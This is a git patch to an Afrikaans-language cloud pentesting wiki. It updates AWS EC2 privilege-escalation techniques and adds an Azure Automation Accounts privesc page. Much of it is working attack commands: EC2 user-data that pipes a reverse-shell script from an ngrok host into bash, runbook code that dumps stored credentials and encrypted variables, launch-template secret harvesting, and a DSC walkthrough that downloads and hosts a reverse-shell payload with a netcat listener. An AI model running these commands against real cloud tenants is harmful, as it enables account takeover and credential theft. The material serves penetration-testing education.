From 70bddaba85a931087539f29224f11fe56638936a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 12:03:56 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 42 ++- .../az-automation-accounts-privesc.md | 239 ++++++++++++++++++ .../az-automation-account/README.md | 170 ------------- .../az-state-configuration-rce.md | 57 ----- .../az-services/az-automation-accounts.md | 227 +++++++++++++++++ .../azure-security/az-services/vms/README.md | 44 ++-- 7 files changed, 510 insertions(+), 273 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index e93ba022b..ab2884bbf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Wees versigtig met GuradDuty as jy die akrediteerings van die IAM rol buite die instansie gebruik: +Wees versigtig met GuardDuty as jy die akrediteer van die IAM-rol buite die instansie gebruik: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potensiële Impak:** Direkte privesc na enige EC2 rol wat aan bestaande instansie profiele geheg is. +**Potensiële Impak:** Direkte privesc na enige EC2-rol wat aan bestaande instansieprofiele geheg is. #### Privesc na ECS -Met hierdie stel toestemmings kan jy ook **'n EC2 instansie skep en dit registreer binne 'n ECS kluster**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2 instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS rolle wat geheg is** steel. +Met hierdie stel toestemmings kan jy ook **'n EC2-instansie skep en dit binne 'n ECS-kluster registreer**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2-instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS-rolle wat geheg is** steel. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -65,14 +65,14 @@ Om te leer hoe om **ECS-dienste te dwing** om in hierdie nuwe EC2-instantie te l aws-ecs-privesc.md {{#endref}} -As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar aanval uitvoer. +As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar-aanval uitvoer. **Potensiële Impak:** Direkte privesc na ECS-rolle wat aan take geheg is. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe akrediteer kan steel.\ -Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** nodig hê. +Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings die **IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe geloofsbriewe kan steel.\ +Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **toevoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is aan 'n gecompromitteerde i**nstans assosieer:** +As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **byvoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is, aan 'n gecompromitteerde i**nstans assosieer:** -- As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`) \* +- As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` @@ -90,25 +90,23 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval al toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee geassosieer is, te verander. +Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval reeds toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee geassosieer is, te verander. -- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **assosieer** \* +- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **assosieer**. ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- of **vervang** die **instansieprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- of **vervang** die **instansprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` **Potensiële Impak:** Direkte privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemmings of spesifieke instansieprofielstatus hê). ### `ec2:RequestSpotInstances`,`iam:PassRole` -'n Aanvaller met die toestemmings **`ec2:RequestSpotInstances`en`iam:PassRole`** kan **versoek** 'n **Spot Instantie** met 'n **EC2-rol aangeheg** en 'n **rev shell** in die **gebruikersdata**.\ +'n Aanvaller met die toestemmings **`ec2:RequestSpotInstances`en`iam:PassRole`** kan **aansoek doen** om 'n **Spot Instantie** met 'n **EC2-rol aangeheg** en 'n **rev shell** in die **gebruikersdata**.\ Sodra die instansie gedraai is, kan hy die **IAM-rol** **steel**. ```bash REV=$(printf '#!/bin/bash @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -'n Aanvaller met die regte **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`en `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template weergawe** met 'n **rev shell in** die **gebruikersdata** en **enige EC2 IAM Rol daarop** skep, die standaard weergawe verander, en **enige Autoscaler-groep** **wat** daardie **Launch Template** gebruik wat **gekonfigureer** is om die **nuutste** of die **standaard weergawe** te gebruik, sal die **instansies** weer **herbegin** met behulp van daardie sjabloon en die rev shell uitvoer. +'n Aanvaller met die regte **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`en `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template weergawe** met 'n **rev shell in** die **gebruikersdata** en **enige EC2 IAM Rol daarop** skep, die standaard weergawe verander, en **enige Autoscaler-groep** **wat** daardie **Launch Template** gebruik wat **gekonfigureer** is om die **nuutste** of die **standaard weergawe** te gebruik, sal die instansies **herbegin** met behulp van daardie template en die rev shell uitvoer. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -182,7 +180,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -'n Aanvaller met die toestemmings **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **'n Launch Configuration skep** met 'n **IAM Rol** en 'n **rev shell** binne die **gebruikersdata**, dan **'n autoscaling-groep skep** vanaf daardie konfigurasie en wag vir die rev shell om die **IAM Rol** te **steel**. +'n Aanvaller met die regte **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **'n Launch Configuration** met 'n **IAM Rol** en 'n **rev shell** binne die **gebruikersdata** skep, dan **'n autoscaling-groep** uit daardie konfigurasie skep en wag vir die rev shell om **die IAM Rol** te **steel**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,18 +200,18 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -Die stel van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om** bevoegdhede na 'n IAM-rol te verhoog nie, omdat jy om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **jy die toestemmings `iam:PassRole` en `ec2:RunInstances`** benodig (wat 'n bekende privesc is). +Die stel van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om** voorregte te verhoog na 'n IAM-rol nie, omdat jy om die rol wat in die Launch Configuration of in die Launch Template gespesifiseer is aan te heg **jy die toestemmings `iam:PassRole` en `ec2:RunInstances`** benodig (wat 'n bekende privesc is). ### `ec2-instance-connect:SendSSHPublicKey` -'n Aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel aan 'n gebruiker voeg en dit gebruik om toegang te verkry (as hy ssh-toegang tot die instansie het) of om bevoegdhede te verhoog. +'n Aanvaller met die toestemming **`ec2-instance-connect:SendSSHPublicKey`** kan 'n ssh-sleutel aan 'n gebruiker voeg en dit gebruik om toegang te verkry (as hy ssh-toegang tot die instansie het) of om voorregte te verhoog. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is. +**Potensiële Impak:** Direkte priveskakelings na die EC2 IAM rolle wat aan lopende instansies gekoppel is. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Hierdie manier is nie baie nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit te ontgin. +Hierdie manier is nie so nuttig vir privesc nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit te benut. **Potensiële Impak:** (Hooglik onbewysbaar) Direkte privesc na die EC2 IAM rolle wat aan lopende instansies gekoppel is. ### `describe-launch-templates`,`describe-launch-template-versions` -Aangesien lansering sjablone weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** toestemmings dit ontgin om sensitiewe inligting te ontdek, soos akrediteer wat in gebruikersdata teenwoordig is. Om dit te bereik, loop die volgende skrip deur al die weergawes van die beskikbare lansering sjablone: +Aangesien lanseringsjablone weergawebeheer het, kan 'n aanvaller met **`ec2:describe-launch-templates`** en **`ec2:describe-launch-template-versions`** regte hierdie benut om sensitiewe inligting te ontdek, soos akrediteer wat in gebruikersdata teenwoordig is. Om dit te bereik, loop die volgende skrip deur al die weergawes van die beskikbare lanseringsjablone: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -252,7 +250,7 @@ done ``` In die bogenoemde opdragte, alhoewel ons sekere patrone spesifiseer (`aws_|password|token|api`), kan jy 'n ander regex gebruik om ander tipes sensitiewe inligting te soek. -Aannemend dat ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie akrediteerlinge gebruik om by AWS aan te meld. +As ons `aws_access_key_id` en `aws_secret_access_key` vind, kan ons hierdie akrediteerlinge gebruik om by AWS aan te meld. **Potensiële Impak:** Direkte voorregverhoging na IAM gebruiker(s). diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..66d10406d --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Vir meer inligting, kyk: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +As 'n opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Automatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Automatiseringsrekening uit te voer en om voorregte te verhoog na die toegewyde **Geregte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Automatiseringsrekening gestoor is, te lek. + +Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automatiseringsrekening te wysig met: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Let op hoe die vorige skrip gebruik kan word om die **gebruikersnaam en wagwoord** van 'n geloofsbrief en die waarde van 'n **versleutelde veranderlike** wat in die Automatiseringsrekening gestoor is, te **lek**. + +Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te publiseer sodat die veranderinge toegepas word: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te hardloop met: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n taak in die Automatiseringsrekening te lees met: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +As daar nie Runbooks geskep is nie, of jy wil 'n nuwe een skep, sal jy die **toestemmings `Microsoft.Resources/subscriptions/resourcegroups/read` en `Microsoft.Automation/automationAccounts/runbooks/write`** nodig hê om dit te doen met: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Hierdie toestemming laat die gebruiker toe om **'n gebruikersbestuurde identiteit** aan die Automatiseringsrekening toe te ken met: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Skedule in die Automatiseringsrekening te skep wat elke 15 minute uitgevoer word (nie baie stil nie) met behulp van die volgende opdrag. + +Let daarop dat die **minimum interval vir 'n skedule 15 minute is**, en die **minimum begin tyd 5 minute** in die toekoms. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Skeduleerder aan 'n runbook toe te ken met: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met die volgende opdrag. + +Let daarop dat jy moet **webhook URI** met die token aan dui wat gebruik moet word. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Net met die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **kode van 'n Runbook** op te dateer sonder om dit te publiseer en dit te loop met die volgende opdragte. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +Hierdie toestemming laat die gebruiker toe om **'n bronbeheer** vir die Automatiseringsrekening te **konfigureer** met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +Dit sal outomaties die runbooks van die Github-bewaarplek na die Automatiseringsrekening invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**. + +Boonop, onthou dat vir bronbeheer om in Automatiseringsrekeninge te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê, en as dit 'n gebruiker bestuurde identiteit is, kan dit ook gekonfigureer word deur die **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** veranderlike in te stel met die **klant id** van die gebruiker bestuurde identiteit wat gebruik moet word. + +> [!TIP] +> Let daarop dat dit nie moontlik is om die repo-URL van 'n bronbeheer te verander sodra dit geskep is nie. + +### Pasgemaakte Runtime Omgewings + +As 'n automatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met 'n paar kwaadwillige kode (soos **'n backdoor**) te oorskry. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word. + +### Kompromittering van Staat Konfigurasie + +**Kyk die volledige pos in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Stap 1 — Skep Lêers + +**Benodigde Lêers:** Twee PowerShell-skripte is nodig: +1. `reverse_shell_config.ps1`: 'n Gewenste Staat Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders. + +- Stap 2 — Zip Konfigurasie Lêer + +Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Stap 3 — Stel Stoor Konteks in & Laai op + +Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Storage houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Stap 4 — Berei Kali Box voor + +Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +Die skrif is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer. + +- Stap 5 — Publiseer Konfigurasie Lêer + +Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrif na die gespesifiseerde ligging op die Windows VM. + +- Stap 6 — Gasheer Payload en Stel Luisteraar Op + +'n Python SimpleHTTPServer word begin om die payload te gasheer, saam met 'n Netcat luisteraar om inkomende verbindings te vang. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +Die geskeduleerde taak voer die payload uit, wat SYSTEM-vlak voorregte bereik. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index eeaa67944..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automatiseringsrekening - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basiese Inligting - -[Uit die dokumentasie:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automatisering bied 'n wolk-gebaseerde outomatisering, bedryfstelsel opdaterings, en konfigurasiediens wat konsekwente bestuur oor jou Azure en nie-Azure omgewings ondersteun. Dit sluit prosesautomatisering, konfigurasiebestuur, opdateringsbestuur, gedeelde vermoëns, en heterogene kenmerke in. - -Hierdie is soos "**geskeduleerde take**" in Azure wat jou toelaat om dinge (aksies of selfs skripte) uit te voer om die **Azure omgewing** te **bestuur**, te kontroleer en te konfigureer. - -### Loop As Rekening - -Wanneer **Loop as Rekening** gebruik word, skep dit 'n Azure AD **aansoek** met 'n self-ondertekende sertifikaat, skep 'n **dienshoof** en ken die **Bydraer** rol aan die rekening in die **huidige intekening** (baie voorregte).\ -Microsoft beveel aan om 'n **Gemanagte Identiteit** vir die Automatiseringsrekening te gebruik. - -> [!WARNING] -> Dit sal op **30 September 2023 verwyder word en verander word na Gemanagte Identiteite.** - -## Loopboeke & Werk - -**Loopboeke** laat jou toe om **arbitraire PowerShell** kode uit te voer. Dit kan **misbruik word deur 'n aanvaller** om die toestemmings van die **aangekoppelde hoof** te steel (indien enige).\ -In die **kode** van **Loopboeke** kan jy ook **sensitiewe inligting** (soos kredensiale) vind. - -As jy die **werk** kan **lees**, doen dit aangesien dit die **uitset** van die loop bevat (potensieel **sensitiewe inligting**). - -Gaan na `Automatiseringsrekeninge` --> `` --> `Loopboeke/Werk/Hibridwerker groepe/Watcher take/kredensiale/variabeles/sertifikate/verbindinge` - -### Hibridwerker - -'n Loopboek kan in 'n **houer binne Azure** of in 'n **Hibridwerker** (nie-azure masjien) uitgevoer word.\ -Die **Log Analytics Agent** word op die VM ontplooi om dit as 'n hibridwerker te registreer.\ -Die hibridwerker werke loop as **SISTEEM** op Windows en **nxautomation** rekening op Linux.\ -Elke Hibridwerker is geregistreer in 'n **Hibridwerker Groep**. - -Daarom, as jy kan kies om 'n **Loopboek** in 'n **Windows Hibridwerker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Sisteem** uitvoer (mooi pivot tegniek). - -## Kompromieer Staat Konfigurasie (SC) - -[Uit die dokumentasie:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automatisering **Staat Konfigurasie** is 'n Azure konfigurasiebestuur diens wat jou toelaat om PowerShell Gewenste Staat Konfigurasie (DSC) 